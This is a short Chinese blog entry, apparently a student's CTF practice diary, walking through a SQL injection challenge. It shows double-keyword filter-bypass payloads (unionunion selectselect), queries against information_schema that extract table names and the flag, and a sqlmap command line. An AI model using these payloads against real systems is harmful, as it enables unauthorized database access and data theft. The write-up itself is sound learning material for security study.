17th-day

 · 2019-8-16 · 次阅读


42.简单的sql注入(http://ctf5.shiyanbar.com/423/web/)
  进入页面后,直接就是一个提交框,上面还提示了过滤了什么东西,现在就来尝试一下,先输入id=1,显示出了ID=1,name:baloteli,继续id=1’,爆错了,说明注入点就是id=1并且是数字型注入。
  这下来尝试有些什么被过滤掉了,先使用联合查询,payload:?id=1 union select database() 页面上ID部分直接显示出了id:1 database()说明union和select都被过滤了。用双写绕过试试:
payload:?id=1’ unionunion selectselect database()’显示出了数据库名,这里Union与select都是双写绕过的并且空格需要打两个空格,我不太清楚这里的过滤机制。继续
  爆表:payload:?id=1’ unionunion selectselect table_name fromfrom information_schema.tables wherewhere ‘1’=’1
查出表名flag.
  爆字段名:关于字段名的获取现在输入正解都得到的是Got error 28 from storage engine,因而直接猜解字段名是flag.
  爆取flag内容:1’ unionunion selectselect flag fromfrom flag wherewhere ‘1’=’1
采用sqlmap跑,爆库:sqlmap.py -u http://ctf5.shiyanbar.com/423/web/?id=1 –dbs
  关于sqlmap的用法之后再写了,关于sql注入1的学习先到这里,这次练题可谓惨败,sql注入学的太差了,还需要重新去做一下之前上课做过的sql实验。